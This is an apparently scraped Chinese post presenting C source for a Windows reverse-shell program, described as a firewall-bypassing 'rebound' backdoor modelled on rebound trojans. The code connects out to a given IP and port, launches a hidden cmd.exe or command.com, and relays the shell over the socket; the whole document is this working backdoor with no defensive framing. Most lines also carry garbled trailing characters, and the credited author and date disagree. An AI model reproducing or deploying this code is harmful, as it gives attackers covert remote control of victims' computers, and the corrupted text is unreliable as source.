这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 C]fX=~?bGQ
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/* ============================== 1k^$:'
Rebound port in Windows NT F|VKrH.
By wind,2006/7 ~d3@x\I?
===============================*/ eo@8?>}{X
#include ^Bo'87!.
#include on"ENT
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#pragma comment(lib,"wsock32.lib") zbr^ul r
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void OutputShell(); {$5g29
SOCKET sClient; w{u,YM(Q
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; f$9|qfW'$
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void main(int argc,char **argv) rqnxR q
{ +v'2s@e`
#
WSADATA stWsaData; TvS<;0~K
int nRet; 4[&&E7]EX
SOCKADDR_IN stSaiClient,stSaiServer; N8k=c3|
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if(argc != 3) 2b,edJVt?
{ dA E85
printf("Useage:\n\rRebound DestIP DestPort\n"); )q.ZzijG/
return; 8 R7w$3pp\
} , s otZT
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WSAStartup(MAKEWORD(2,2),&stWsaData); Yyd]s\W
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zb4{nzX=
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stSaiClient.sin_family = AF_INET; u!HX`~q+A
stSaiClient.sin_port = htons(0); ^*+M9e9Z
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); z@o6[g/*Q
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) VbMud]40F
{ hOkn@F.
printf("Bind Socket Failed!\n"); ,grx'to(X
return; {0np
} |(2#KMEWa
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stSaiServer.sin_family = AF_INET; lrwQ
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]~VuY:abH
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -QR]BD%J*[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `IJ)'$pn
{ /OB) \{-
printf("Connect Error!"); Z!Z{Gm3
return; a(*"r:/lD
} MxUbx+_N
OutputShell(); ?.uhp
} k@s<*C
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void OutputShell() 08{^Ksg
{ g kV`ZT9
char szBuff[1024]; [s\8@5?E
SECURITY_ATTRIBUTES stSecurityAttributes; #_`p
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OSVERSIONINFO stOsversionInfo; ^$C&{%
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; NFtA2EMLu[
STARTUPINFO stStartupInfo; MK @rx6<9
char *szShell; jJNl{nyq
PROCESS_INFORMATION stProcessInformation; 6uKth mr
unsigned long lBytesRead; (d@(QJ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {Rb;1 eYj
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t#8QyN
stSecurityAttributes.lpSecurityDescriptor = 0; dZ8ldpf8
stSecurityAttributes.bInheritHandle = TRUE; mF!4*k
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |pbetA4&
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _(~LXk^C
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?u;m
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #@5VT*/7
stStartupInfo.wShowWindow = SW_HIDE; .fhfb\$
stStartupInfo.hStdInput = hReadPipe; <gGO
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; b<#zgf
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GetVersionEx(&stOsversionInfo); F(Zf=$cx
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switch(stOsversionInfo.dwPlatformId) ~%
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{ "#gS ?aS
case 1: Z__fwv.X[
szShell = "command.com"; {QmK4(k?|c
break; *93=}1gN
default: ;$1x_
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szShell = "cmd.exe"; 2A =Y
break; X[dH*PV
} P*>?/I`G
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [\ Sd*-
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send(sClient,szMsg,77,0); 6[RTL2&W
while(1) 1JdMw$H
{ \CE+P5
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); R.l!KIq
if(lBytesRead) 0%;| B
{ n@h$V\&\iM
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `F1Yfm
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send(sClient,szBuff,lBytesRead,0); yS:w>xU @<
} p,|)qr:M
else R/fE@d2~In
{ }.U(Gxu$
lBytesRead=recv(sClient,szBuff,1024,0); OC-d5P
if(lBytesRead<=0) break; wu11)HFL|z
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 7J`v#
} ;;rx)|\<R
} .HGK 3
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return; uHbbPtk
}